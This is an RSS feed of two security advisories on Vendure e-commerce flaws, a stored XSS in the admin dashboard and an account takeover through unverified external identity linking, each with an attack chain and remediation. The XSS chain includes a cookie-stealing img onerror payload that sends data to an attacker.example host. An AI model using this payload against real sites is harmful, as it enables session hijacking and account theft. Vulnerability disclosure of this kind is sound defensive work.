<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Cpe:2.3:a:vendure:vendure:*:*:*:*:*:*:*:* - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/cpes/cpe2.3avendurevendure/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 17 Sep 2026 19:15:10 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/cpes/cpe2.3avendurevendure/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Stored XSS in Vendure Admin Dashboard via Unsafe HTML Stripping</title><link>https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/</link><pubDate>Thu, 17 Sep 2026 19:15:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/</guid><description>A stored Cross-Site Scripting (XSS) vulnerability in the Vendure Admin Dashboard allows authenticated administrators to execute arbitrary JavaScript in the context of other users viewing entity lists, leading to potential account takeover.</description><content:encoded><![CDATA[<p>The Vendure e-commerce framework contains a high-severity stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-63459, residing in the <code>@vendure/dashboard</code> package. The flaw exists within the <code>RichTextDescriptionCell</code> component, which is responsible for rendering entity descriptions in various administrative list views, including products, collections, promotions, payment methods, and shipping methods.</p>
<p>The application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the <code>innerHTML</code> property of a detached <code>div</code> element. Because browsers parse and execute active markup within <code>innerHTML</code> - even in detached nodes - payloads such as <code>&lt;img&gt;</code> tags with <code>onerror</code> event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of <code>@vendure/dashboard</code> prior to 3.6.5.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.</li>
<li>Attacker modifies a product, collection, or promotion entity description via the administrative API.</li>
<li>Attacker embeds a malicious payload within the description field using active markup, such as <code>&lt;img src=x onerror=&quot;fetch('https://attacker.example/'+document.cookie)&quot;&gt;</code>.</li>
<li>The application stores this malicious description string in the database as part of the entity configuration.</li>
<li>A high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.</li>
<li>The <code>RichTextDescriptionCell</code> component retrieves the malicious description and assigns it to a <code>div</code> element via <code>innerHTML</code> during the React rendering cycle.</li>
<li>The browser parses the <code>&lt;img&gt;</code> tag, fails to find the image source, and immediately executes the <code>onerror</code> JavaScript payload in the victim administrator's browser session.</li>
<li>The script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable <code>RichTextDescriptionCell</code> implementation.</li>
<li>Audit administrative activity logs for unexpected <code>PATCH</code> or <code>POST</code> requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.</li>
<li>Implement Content Security Policy (CSP) headers to restrict unauthorized script execution and <code>fetch</code> requests within the administrative dashboard interface.</li>
<li>If immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>web-vulnerability</category><category>dashboard</category><category>ecommerce</category></item><item><title>Account Takeover Vulnerability in Vendure External Authentication</title><link>https://feed.craftedsignal.io/briefs/2026-09-vendure-auth-bypass/</link><pubDate>Thu, 17 Sep 2026 19:10:14 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-09-vendure-auth-bypass/</guid><description>Vendure is vulnerable to account takeover due to the ExternalAuthenticationService allowing unverified external identity linking to existing user accounts via email matching.</description><content:encoded><![CDATA[<p>Vendure versions prior to 3.7.0 contain a critical vulnerability in the <code>ExternalAuthenticationService</code> that enables account takeover. The flaw exists in the <code>createCustomerAndUser</code> method, which links external OAuth or SSO authentication identities to existing customer accounts based solely on an email address match. Crucially, the system does not enforce that the provided email address is verified by the external identity provider.</p>
<p>In deployments using custom <code>AuthenticationStrategy</code> implementations - specifically those that fail to validate the <code>email_verified</code> claim or improperly handle unverified email addresses - an attacker can register an account on an external provider using a victim's email address. When this attacker authenticates against the vulnerable Vendure instance, the application incorrectly binds the attacker's external identity to the pre-existing account belonging to the victim. This results in the attacker gaining full access to the victim's account, including PII, order history, and the ability to perform unauthorized transactions.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a Vendure instance configured with an external <code>AuthenticationStrategy</code> that does not enforce strict email verification.</li>
<li>Attacker creates an account on the external OIDC or OAuth provider using the target victim's email address (<code>victim@example.com</code>).</li>
<li>The external provider, not requiring rigorous verification, allows the registration.</li>
<li>Attacker initiates the authentication flow on the Vendure store using the external provider.</li>
<li>The external provider passes the email address <code>victim@example.com</code> to the Vendure <code>ExternalAuthenticationService</code>.</li>
<li><code>createCustomerAndUser</code> identifies a pre-existing user account associated with <code>victim@example.com</code>.</li>
<li>The system silently links the attacker's <code>ExternalAuthenticationMethod</code> to the victim's account without checking the <code>verified</code> status.</li>
<li>Attacker logs in using the linked external provider and gains full access to the victim's account.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to full account takeover, allowing attackers to read or modify victim PII, view private order histories, update shipping addresses, and place unauthorized orders on the victim's behalf. This vulnerability affects any Vendure deployment that utilizes external authentication strategies that accept unverified email claims.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade all Vendure instances to version 3.7.0 or later immediately to address CVE-2026-63472.</li>
<li>Audit all custom <code>AuthenticationStrategy</code> implementations to ensure they only set <code>verified: true</code> when the external identity provider has explicitly verified the email address ownership.</li>
<li>Implement logic within custom <code>AuthenticationStrategy</code> code to prevent silent linking of unverified external identities to existing accounts; require active user authentication or session verification before linking new external providers.</li>
</ol>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>account-takeover</category><category>authentication-bypass</category><category>web-application</category></item></channel></rss>